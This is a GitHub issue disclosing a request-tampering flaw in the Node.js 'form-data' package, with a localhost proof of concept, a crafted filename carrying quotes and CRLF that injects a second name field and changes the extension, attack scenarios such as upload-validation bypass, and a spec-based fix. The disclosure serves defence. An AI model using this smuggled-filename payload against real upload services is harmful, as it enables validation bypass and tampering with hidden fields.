"form-data" is vulnerable to request tampering via a crafted filename

[motoyasu-saburi]

I have already contacted the two maintainers 3 or 4 times via email and snyk,
but have not received any replies, so I'm write this as an Issue.

Summury

I found "multipart/form-data Request tampering vulnerability" caused by Content-Disposition filename lack of escaping in "form-data".

/lib/form_data.js > FormData.prototype._getContentDisposition()
contains a vulnerability that allows the lack of escape filename.

form-data/lib/form_data.js

Line 238 in 53adbd8

contentDisposition = 'filename="' + filename + '"';

By exploiting this problem, the following attacks are possible

• An attack that rewrites the "name" field according to the crafted file name, impersonating (overwriting) another field.
• Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename

For example, this vulnerability can be exploited to generate the following Content-Disposition.

input filename: overwrite_name_field_and_extension.sh"; name="foo";\r\n dummy=".txt

generated header in multipart/form-data:
Content-Disposition: form-data; name="bar"; filename="overwrite_name_field_and_extension.sh"; name="foo";
dummy=".txt"

The Abused Header has multiple name fields and the filename has been rewritten from *.txt to *.sh.

These problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request.

The cause of this problem is the lack of escaping of the " (Double-Quote) & \r, \n (CRLF) characters in Content-Disposition > filename.

WhatWG's HTML spec has an escaping requirement.

https://html.spec.whatwg.org/#multipart-form-data

For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

My calculations CVSS (v3):

• CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
• Score: 6.5

However, I think is that this is a limited problem and an example of CVSS not matching the actual risk.

I'll include an my article explaining this issue as a reference.
https://gist.github.com/motoyasu-saburi/1b19ef18e96776fe90ba1b9f910fa714

---

PoC Environment

OS: macOS Monterey(12.3)
Node.js ver: v16.14.2
form-data ver: v4.0.0
(Python3 - HTTP Request Logging Server)

---

PoC

(Linux or MacOS is required.
This is because Windows does not allow file names containing " (double-quote) .)

1. Create Project

$ mkdir my-app
$ cd my-app
$ npm init

2. edit & install package.json

$ vi package.json
$ npm install

{
  "name": "node",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "axios": "^1.1.3",
    "form-data": "^4.0.0"
  }
}

3. create vuln code & dummy malicious file

$ vi index.js
$ touch 'overwrite_name_field_and_extension.sh"; name="foo";\r\n dummy=".txt'

var FormData = require('form-data');
var form = new FormData();
var fs = require('fs');
var axios = require('axios');
var http = require('http');

// fix project path
var project_path = "/Users/PROJECT/DIRECTORY/"
var filename = 'overwrite_name_field_and_extension.sh"; name="foo";\r\n dummy=".txt';

const buffer = fs.readFileSync(project_path + filename);
form.append( 'my_file', buffer, {
  filename: filename, 
  contentType: 'image/jpeg',
  knownLength: buffer.length
});

var request = http.request({
  protocol: "http:",
  host: "127.0.0.1",
  port: 12345,
  method: 'post'
});

// For one of these reasons, Content-Length was not set, so it was forced to be set.
request.setHeader('Content-Length', 1234) 
form.pipe(request);

4. create logging server (python)

I write Python code, but any method will work as long as you can see the HTTP Request Body.
(e.g. Debugger, HTTP Logging Server, Packet Capture)

$ vi logging.py

from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler

class LoggingServer(BaseHTTPRequestHandler):

    def do_POST(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write("ok".encode("utf-8"))
	
        content_length = int(self.headers['Content-Length'])

        post_data = self.rfile.read(content_length)
        print("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                     str(self.path), str(self.headers), post_data.decode('utf-8'))
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

ip = '127.0.0.1'
port = 12345

server = HTTPServer((ip, port), LoggingServer)
server.serve_forever()

$ python logging.py

5. Run & Logging server

$ node index.js

Request Header & Body

Content-Length: 1234
Connection: keep-alive

----------------------------825405212256301887885754
Content-Disposition: form-data; name="my_file"; filename="overwrite_name_field_and_extension.sh"; name="foo";
dummy=".txt"
Content-Type: image/jpeg

abc
----------------------------825405212256301887885754--

Content-Disposition:

Content-Disposition: form-data; name="my_file"; filename="overwrite_name_field_and_extension.sh"; name="foo";

& Injected Line (caused by \r\n )

dummy=".txt"

• name fields is duplicate (bar & foo)
• filename & extension tampering ( .txt --> .sh )

---

Cause & Fix

Pull Request has been created.
#545

---

As noted at the beginning of this section, encoding must be done as described in the HTML Spec.

https://html.spec.whatwg.org/#multipart-form-data

For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

Therefore, it is recommended that Content-Disposition be modified by either of the following

e.g.

Before
Content-Disposition: attachment;filename="malicious.sh";\r\ndummy=.txt

After
Content-Disposition: attachment;filename="%22malicious.sh%22;%0d%0adummy=.txt"

---

Attack Scenario

For example, the following may be considered

• Validation Bypass

  • If a system uploads a file to another site after the system has performed Validation of the uploaded file,
    Validation can be bypassed by rewriting the file as .txt during validation and .sh during transmission.

• Tampering with hidden requests

  • For systems that proxy/forward received files to internal systems,
    • There is a possibility of rewriting (overwriting) fields that are not visible from the outside by tampering with the name field.
    • The value of the parameter at this time is the content of the file.

---

Reference (How to implement on other frameworks)

I will post some examples of frameworks that did not have problems as reference.

Golang
https://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144

Spring
https://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267

Symphony
https://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133

Explanatory article on the lack of escaping filename in Content-Disposition:
https://gist.github.com/motoyasu-saburi/1b19ef18e96776fe90ba1b9f910fa714

[motoyasu-saburi]

@niftylettuce Please check vulnerability report and PullReqeust.

[ljharb]

To clarify, this is not actually a vulnerability in form-data - if an application is not sanitizing user data before sending it into a library, including form-data, then that application is what has a vulnerability.